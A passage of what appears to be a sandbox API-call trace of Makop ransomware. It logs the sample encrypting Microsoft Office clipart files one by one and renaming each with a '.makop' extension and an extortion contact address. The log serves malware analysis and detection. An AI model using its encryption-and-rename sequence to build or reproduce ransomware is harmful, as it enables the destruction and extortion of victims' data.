pdwDataLen=0x6577a90*=0x15b0) returned 1 [0115.519] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0115.519] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x15b0, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x15b0, lpOverlapped=0x0) returned 1 [0115.519] CryptDestroyKey (hKey=0x48c7128) returned 1 [0115.519] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x1684, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0115.520] SetEndOfFile (hFile=0xf0) returned 1 [0115.526] GetProcessHeap () returned 0x48a0000 [0115.526] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0115.527] GetProcessHeap () returned 0x48a0000 [0115.527] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0115.527] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH02298_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0115.527] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH02298_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh02298_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH02298_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh02298_.wmf.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0115.528] CloseHandle (hObject=0xf0) returned 1 [0115.528] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd3cd4300, ftCreationTime.dwHighDateTime=0x1bd4bcf, ftLastAccessTime.dwLowDateTime=0x538bb350, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xd3cd4300, ftLastWriteTime.dwHighDateTime=0x1bd4bcf, nFileSizeHigh=0x0, nFileSizeLow=0x136a, dwReserved0=0x0, dwReserved1=0x0, cFileName="HH02312_.WMF", cAlternateFileName="")) returned 1 [0115.528] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH02312_.WMF") returned 63 [0115.528] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH02312_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh02312_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0115.530] GetProcessHeap () returned 0x48a0000 [0115.530] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0115.530] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0115.530] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0115.531] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0x6, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0x6, lpOverlapped=0x0) returned 1 [0115.537] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0115.537] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0115.537] GetProcessHeap () returned 0x48a0000 [0115.537] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0115.538] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0115.538] CryptDestroyKey (hKey=0x48c7128) returned 1 [0115.538] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0115.538] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0115.538] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0115.538] WriteFile (in: hFile=0xf0, lpBuffer=0x48c3e78*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c3e78*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0115.538] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0115.538] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0115.539] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0115.539] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0115.539] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0115.539] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x136a, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x136a, lpOverlapped=0x0) returned 1 [0115.540] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x1370, dwBufLen=0x1370 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x1370) returned 1 [0115.540] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0115.541] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x1370, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x1370, lpOverlapped=0x0) returned 1 [0115.541] CryptDestroyKey (hKey=0x48c7128) returned 1 [0115.541] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x1444, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0115.541] SetEndOfFile (hFile=0xf0) returned 1 [0115.548] GetProcessHeap () returned 0x48a0000 [0115.548] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0115.548] GetProcessHeap () returned 0x48a0000 [0115.548] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0115.549] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH02312_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0115.549] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH02312_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh02312_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH02312_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh02312_.wmf.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0115.550] CloseHandle (hObject=0xf0) returned 1 [0115.550] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x949ef200, ftCreationTime.dwHighDateTime=0x1bd4bcf, ftLastAccessTime.dwLowDateTime=0x61ca6dd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x949ef200, ftLastWriteTime.dwHighDateTime=0x1bd4bcf, nFileSizeHigh=0x0, nFileSizeLow=0xc0a, dwReserved0=0x0, dwReserved1=0x0, cFileName="HH02313_.WMF", cAlternateFileName="")) returned 1 [0115.550] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH02313_.WMF") returned 63 [0115.550] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH02313_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh02313_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0115.551] GetProcessHeap () returned 0x48a0000 [0115.551] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0115.551] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0115.551] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0115.551] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0x6, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0x6, lpOverlapped=0x0) returned 1 [0115.556] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0115.556] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0115.556] GetProcessHeap () returned 0x48a0000 [0115.556] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0115.556] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0115.556] CryptDestroyKey (hKey=0x48c7128) returned 1 [0115.556] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0115.556] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0115.556] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0115.556] WriteFile (in: hFile=0xf0, lpBuffer=0x48c0640*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c0640*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0115.557] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0115.557] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0115.557] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0115.557] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0115.557] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0115.557] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0xc0a, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0xc0a, lpOverlapped=0x0) returned 1 [0115.557] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0xc10, dwBufLen=0xc10 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0xc10) returned 1 [0115.557] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0115.557] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0xc10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0xc10, lpOverlapped=0x0) returned 1 [0115.558] CryptDestroyKey (hKey=0x48c7128) returned 1 [0115.558] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0xce4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0115.558] SetEndOfFile (hFile=0xf0) returned 1 [0115.654] GetProcessHeap () returned 0x48a0000 [0115.654] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0115.654] GetProcessHeap () returned 0x48a0000 [0115.654] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0115.654] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH02313_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0115.654] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH02313_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh02313_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH02313_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh02313_.wmf.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0115.656] CloseHandle (hObject=0xf0) returned 1 [0115.656] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x58502100, ftCreationTime.dwHighDateTime=0x1bf0ae8, ftLastAccessTime.dwLowDateTime=0x61cccf30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x58502100, ftLastWriteTime.dwHighDateTime=0x1bf0ae8, nFileSizeHigh=0x0, nFileSizeLow=0x5b04, dwReserved0=0x0, dwReserved1=0x0, cFileName="HM00005_.WMF", cAlternateFileName="")) returned 1 [0115.656] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HM00005_.WMF") returned 63 [0115.656] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HM00005_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hm00005_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0115.660] GetProcessHeap () returned 0x48a0000 [0115.660] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0115.661] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0115.661] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0115.661] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0xc, lpOverlapped=0x0) returned 1 [0115.685] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0115.685] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0115.685] GetProcessHeap () returned 0x48a0000 [0115.686] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0115.686] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0115.686] CryptDestroyKey (hKey=0x48c7128) returned 1 [0115.686] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0115.686] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0115.686] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0115.687] WriteFile (in: hFile=0xf0, lpBuffer=0x48c3e78*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c3e78*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0115.687] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0115.687] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0115.687] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0115.687] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0115.687] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0115.688] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x5b04, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x5b04, lpOverlapped=0x0) returned 1 [0115.690] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x5b10, dwBufLen=0x5b10 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x5b10) returned 1 [0115.690] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0115.690] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x5b10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x5b10, lpOverlapped=0x0) returned 1 [0115.690] CryptDestroyKey (hKey=0x48c7128) returned 1 [0115.690] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x5be4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0115.690] SetEndOfFile (hFile=0xf0) returned 1 [0115.697] GetProcessHeap () returned 0x48a0000 [0115.698] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0115.698] GetProcessHeap () returned 0x48a0000 [0115.698] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0115.698] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HM00005_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0115.698] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HM00005_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hm00005_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HM00005_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hm00005_.wmf.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0115.700] CloseHandle (hObject=0xf0) returned 1 [0115.700] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc19dc700, ftCreationTime.dwHighDateTime=0x1bd4b33, ftLastAccessTime.dwLowDateTime=0x538bb350, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xc19dc700, ftLastWriteTime.dwHighDateTime=0x1bd4b33, nFileSizeHigh=0x0, nFileSizeLow=0x5664, dwReserved0=0x0, dwReserved1=0x0, cFileName="HM00114_.WMF", cAlternateFileName="")) returned 1 [0115.700] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HM00114_.WMF") returned 63 [0115.700] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HM00114_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hm00114_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0115.713] GetProcessHeap () returned 0x48a0000 [0115.713] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0115.713] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0115.713] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0115.713] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0xc, lpOverlapped=0x0) returned 1 [0115.723] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0115.723] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0115.723] GetProcessHeap () returned 0x48a0000 [0115.724] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0115.724] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0115.724] CryptDestroyKey (hKey=0x48c7128) returned 1 [0115.724] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0115.724] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0115.724] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0115.724] WriteFile (in: hFile=0xf0, lpBuffer=0x48c0640*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c0640*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0115.724] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0115.725] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0115.725] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: 